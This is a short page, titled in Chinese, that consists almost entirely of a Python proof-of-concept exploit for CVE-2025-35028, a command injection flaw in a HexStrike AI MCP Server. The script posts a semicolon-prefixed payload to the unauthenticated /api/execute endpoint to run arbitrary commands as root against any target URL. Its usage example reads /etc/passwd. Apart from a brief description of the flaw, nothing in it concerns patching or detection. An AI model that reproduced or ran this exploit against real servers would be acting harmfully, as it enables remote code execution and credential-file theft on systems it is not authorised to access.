CVE-2025-35028 HexStrike AI MCP Server命令注入漏洞

#!/usr/bin/env python3 # CVE-2025-35028 PoC - HexStrike AI MCP Server Command Injection # Description: Exploit command injection via EnhancedCommandExecutor API endpoint # Severity: CRITICAL (CVSS 9.1) import requests import json import sys def exploit_cve_2025_35028(target_url, command="id"): """ Exploit the command injection vulnerability in HexStrike AI MCP Server. By prefixing the command argument with a semicolon, attackers can inject and execute arbitrary system commands with root privileges. Args: target_url: Base URL of the vulnerable HexStrike AI MCP server command: System command to execute (default: 'id' for testing) Returns: Response from the exploited endpoint """ # Construct malicious payload with command injection # The semicolon (;) terminates the original command and injects arbitrary commands injected_payload = f";{command}" # Target the EnhancedCommandExecutor API endpoint endpoint = f"{target_url}/api/execute" # Prepare the malicious request payload = { "command": injected_payload, "args": [injected_payload] } headers = { "Content-Type": "application/json", "User-Agent": "HexStrike-CLI/1.0" } try: # Send the exploit request - no authentication required response = requests.post(endpoint, json=payload, headers=headers, timeout=10) return response.json() except requests.exceptions.RequestException as e: return {"error": str(e)} def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-35028.py <target_url> [command]") print("Example: python3 cve-2025-35028.py http://target:5000 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "id" print(f"[*] Exploiting CVE-2025-35028 on {target}") print(f"[*] Executing command: {cmd}") result = exploit_cve_2025_35028(target, cmd) print(f"[+] Result: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()